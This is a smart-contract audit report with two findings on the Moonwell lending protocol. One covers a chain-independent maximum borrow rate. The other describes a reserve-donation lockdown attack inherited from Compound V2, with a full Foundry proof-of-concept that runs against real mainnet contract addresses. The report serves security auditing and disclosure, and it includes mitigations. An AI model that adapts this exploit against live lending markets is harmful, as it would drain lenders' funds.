Moonwell - kankodu's results

Lines of code

https://github.com/code-423n4/2023-07-moonwell/blob/main/src/core/MTokenInterfaces.sol#L23 https://github.com/code-423n4/2023-07-moonwell/blob/fced18035107a345c31c9a9497d0da09105df4df/src/core/MToken.sol#L403

Vulnerability details

Impact

• The purpose of borrowRateMaxMantissa is to put the protocol in failure mode when absurd utilisation makes borrowRate absurd. It is defined as a constant for all the chains. It should really be changed according to average blocktime of the chain the protocol is being deployed to.
• borrowRateMaxMantissa = 0.0005e16 translates to maximum borrow rate of .0005% / block.
• For Ethereum chain that has 12 seconds of average block time, this translates to maximum borrow rate of 0.0005% * (365 * 24 * 3600)/12 = 1314. For BNB with 3 seconds of average block time it is 0.0005% * (365 * 24 * 3600)/3 = 5256%. For fantom with 1 second of average block time it is 0.0005% * (365 * 24 * 3600)/1 = 15768%.

Proof of Concept

https://github.com/code-423n4/2023-07-moonwell/blob/main/src/core/MTokenInterfaces.sol#L23 https://github.com/code-423n4/2023-07-moonwell/blob/fced18035107a345c31c9a9497d0da09105df4df/src/core/MToken.sol#L403

Tools Used

• Manual Review

Recommended Mitigation Steps

• Decide on a maximum borrow rate protocol is ok with (my suggestion is ~1000%) and change borrowRateMaxMantissa according to what chain it is being deployed to.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-07-moonwell/blob/main/src/core/MToken.sol#L403 https://github.com/code-423n4/2023-07-moonwell/blob/main/src/core/IRModels/JumpRateModel.sol#L84-L94 https://github.com/code-423n4/2023-07-moonwell/blob/main/src/core/IRModels/WhitePaperInterestRateModel.sol#L51-L58

Vulnerability details

Impact

The bug in Compound V2

• Attacker targets a cToken that has low TVL to execute the following attack over a long period of time to get away with all of Compound TVL.
• Description:
  • Let's use cPAX for this example. Currently ~20k worth of cPAX has been minted so far. Attacker mints another $20k worth of cPAX. This is so that if cPAX's exchange rate increases, attackers borrowing power will also increase.
  • Attacker now adds their own ~$20k * 2 * 10 of PAX tokens as reserves to cPAX using _addReserves method that is open to everyone.
  • From another account, the attacker borrows this tokens there were added as reserves by putting up appropriate collateral against them. Here, the attacker borrows just enough so that borrowRateMantissa goes near borrowRateMaxMantissa but does not go over it.
  • Attacker now calls accrueInterest on the cToken to lock this almost absurdly high borrow rate. (0.0005% per block).
  • The attacker borrows the rest of the tokens there were added as reserves to make sure borrowRateMantissa goes over borrowRateMaxMantissa and this means that cToken is now in lockdown. No operations can be done as all the functions call accrueInterest internally which fails with borrow rate is absurdly high error.
  • After 100 days, the attacker donates some cash to the cToken to bring borrowRateMantissa to be less than borrowRateMaxMantissa. At this point, their cTokens will have increased so much more in value that they can borrow other genuine tokens from the protocol. The longer the attacker waits, the higher the profit.
• Attacker is taking advantage of the fact that utilization can be greater than 100%. In addition, the attacker can lock the cToken to stay at this absurd utilization.
• Funds required for the attack can be further optimized by leveraging up. (Borrow, sell the token and put it up as collateral). I have not done that in the POC. heuristically we can say that the by using leverage the funds required can be 1/4th of what is shown. This means an attacker can break even in as soon as 25 days.
• I think this graph might be of some help to visualize the relationship between utilization and borrow rate: https://www.desmos.com/calculator/0jakyawjd7
• The attacker locks the borrowing rate at a little less than 0.0005% per block. All the interest rate payments are done to lenders by increasing the exchange rate of the asset they provided. If borrowers do not have enough interest to pay the assumption is that they would have been liquidated and their positions will have been closed. That assumption is violated here. Protocol thinks that lenders are getting paid 0.0005% interest per block and it keeps increasing the exchange rate. On the other side, borrowers have run out of interest to be paid but they are not liquidated as everything is in lockdown. After a sufficient time, when the exchange rate has been increased enough, the attacker goes ahead and borrows genuine tokens against it.
• Let me know if anything is unclear. I am happy to provide clarification.

What does it mean for MoonWell

• The same bug is present in Moonwell v2 as well.

Proof of Concept

• I am adding POC for compound v2 on mainnet.

• For Compound v2 I am using PAX dollar as an example. Right now, collateral factor is set to 0 for that so I am artificially setting it to 80% as this is required for the attack to work.

• Initiate a new foundry repo by running forge init. see here

• Add the below code in test/DonationAttack.t.sol

• Run the test with forge test --fork-url MAINNET_RPC_URL -vvvv

pragma solidity =0.8.7;

import "forge-std/Test.sol";

interface IERC20 {
    function transfer(address dst, uint256 amount) external returns (bool);

    function approve(address spender, uint256 amount) external returns (bool);

    function balanceOf(address owner) external view returns (uint256);

    function totalSupply() external view returns (uint256);
}

interface ICToken is IERC20 {
    function mint(uint256 mintAmount) external returns (uint256);

    function borrow(uint256 borrowAmount) external returns (uint256);

    function exchangeRateCurrent() external returns (uint256);

    function underlying() external view returns (IERC20);

    function _addReserves(uint256 addAmount) external returns (uint256);

    function accrueInterest() external returns (uint256);
}

interface IComptroller {
    function enterMarkets(ICToken[] calldata cTokens) external returns (uint256[] memory);
    function _setCollateralFactor(ICToken cToken, uint256 newCollateralFactorMantissa) external returns (uint256);
    function admin() external view returns (address);
}

contract AnotherAccount {
    function depositCTokensAndBorrow(
        IComptroller comptroller,
        ICToken cTokenToBorrowFrom,
        ICToken cTokenToDepositAsCollateral,
        uint256 depositAmount,
        uint256 amountToBorrow
    )
        external
    {
        cTokenToDepositAsCollateral.underlying().approve(address(cTokenToDepositAsCollateral), depositAmount);

        ICToken[] memory cTokensToEnter = new ICToken[](2);
        cTokensToEnter[0] = cTokenToDepositAsCollateral;
        cTokensToEnter[1] = cTokenToBorrowFrom;

        uint256[] memory errors = comptroller.enterMarkets(cTokensToEnter);
        require(errors[0] == 0, "enterMarkets 0 failed in AnotherAccount");
        require(errors[1] == 0, "enterMarkets 1 failed in AnotherAccount");

        require(cTokenToDepositAsCollateral.mint(depositAmount) == 0, "mint failed in AnotherAccount");

        require(cTokenToBorrowFrom.borrow(amountToBorrow) == 0, "borrow failed in AnotherAccount");
    }
}

contract DonationAttack is Test {
    IComptroller public constant comptroller = IComptroller(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
    ICToken public constant cToken = ICToken(0x041171993284df560249B57358F931D9eB7b925D); //cPAX
    ICToken public constant anotherCToken = ICToken(0x39AA39c021dfbaE8faC545936693aC917d5E7563); //cUSDC
    IERC20 public immutable underlying;
    IERC20 public immutable anotherUnderlying;

    uint256 NO_ERROR = 0;

    using stdStorage for StdStorage; //foundry specific, useful for funding the attacker contract

    uint256 underlyingTokenMintAmount = 20_000 ether;
    uint256 underlyingTokenReserveDonationAmount = 428_000 ether;
    uint256 underlyingTokenToBorrow = 426_000 ether;
    uint256 underlyingTokensToMakeBorrowRateNormal = 1_000 ether;
    uint256 anotherUnderlyingTokenAmount = 600_000 * 1e6; //amount that enough to cover borrowing underlyingTokenReserveDonationAmount of underlyingTokens

    AnotherAccount anotherAccount = new AnotherAccount();

    constructor() {
        underlying = IERC20(cToken.underlying());
        anotherUnderlying = IERC20(anotherCToken.underlying());
    }

    function writeTokenBalance(address who, address token, uint256 amt) internal {
        stdstore.target(token).sig(IERC20(token).balanceOf.selector).with_key(who).checked_write(amt);
    }

    function setUp() public {
        vm.startPrank(comptroller.admin());
        comptroller._setCollateralFactor(cToken, 0.8 ether);
        vm.stopPrank();

        console.log("underlyingTokenMintAmount", underlyingTokenMintAmount);
        //fund the attack contract with underlying and anotherUnderlying tokens
        writeTokenBalance(
            address(this),
            address(underlying),
            underlyingTokenMintAmount + underlyingTokenReserveDonationAmount + underlyingTokensToMakeBorrowRateNormal
        );
        writeTokenBalance(address(anotherAccount), address(anotherUnderlying), anotherUnderlyingTokenAmount);
    }

    function testAttackCurrent() public {
        underlying.approve(address(cToken), underlyingTokenMintAmount + underlyingTokenReserveDonationAmount);
        require(cToken.mint(underlyingTokenMintAmount) == NO_ERROR, "mint failed");
        // console.log("exchangeRateCurrent", cToken.exchangeRateCurrent());

        //add 1 whole token to the reserve
        require(cToken._addReserves(underlyingTokenReserveDonationAmount) == NO_ERROR, "addReserves failed");

        anotherAccount.depositCTokensAndBorrow(
            comptroller, cToken, anotherCToken, anotherUnderlyingTokenAmount, underlyingTokenToBorrow
        );
        //call accureInterest to lock in the almost absudlrly high borrow rate
        require(cToken.accrueInterest() == NO_ERROR, "accrueInterest failed");

        //borrow the rest of donated tokens so that no interaction with the cToken is possible
        anotherAccount.depositCTokensAndBorrow(
            comptroller, cToken, anotherCToken, 0, underlyingTokenReserveDonationAmount - underlyingTokenToBorrow
        );
        //Go in the future to next block just 10 seconds later
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 10 seconds);

        //no interaction with cToken is possible as accureInterest will revert with "borrow rate is absurdly high"
        //This also means that no one will be able to liquidate the position that was opened in the anotherAccount either
        vm.expectRevert("borrow rate is absurdly high");
        cToken.accrueInterest();

        //If there is no intervention from governace to upgrade the contracts,
        //after 100 days later the attack are able to get back all the tokens they spent for the attack
        vm.roll(block.number + 100 days / 12 seconds);
        vm.warp(block.timestamp + 100 days);

        //attacker donates some tokens to make the borrow rate less than borrowRateMaxMantissa
        underlying.transfer(address(cToken), underlyingTokensToMakeBorrowRateNormal);
        require(cToken.accrueInterest() == NO_ERROR, "accrueInterest failed");

        //at this point the initially minted cTokens will be worth way more than the donated tokens
        ICToken[] memory cTokensToEnter = new ICToken[](1);
        cTokensToEnter[0] = cToken;
        comptroller.enterMarkets(cTokensToEnter);

        require(
            anotherCToken.borrow(
                (
                    underlyingTokenMintAmount + underlyingTokenReserveDonationAmount
                        + underlyingTokensToMakeBorrowRateNormal
                ) / 1e12
            ) == NO_ERROR,
            "borrow failed"
        );

        //As you can imagine if they choose to do this after another 100 days they will be able to borrow double the amount they donated and so on ...
    }

    receive() external payable {}
}

Tools Used

• Manual Review

Recommended Mitigation Steps

• Instead of reverting when borrowRateMantissa hits borrowRateMaxMantissa, handle it by using borrowRateMaxMantissa for the current borrow rate.Also, Be aware that for different chain that have different block time, borrowRateMaxMantissa would translate to different max borrow rates.

Assessed type

Other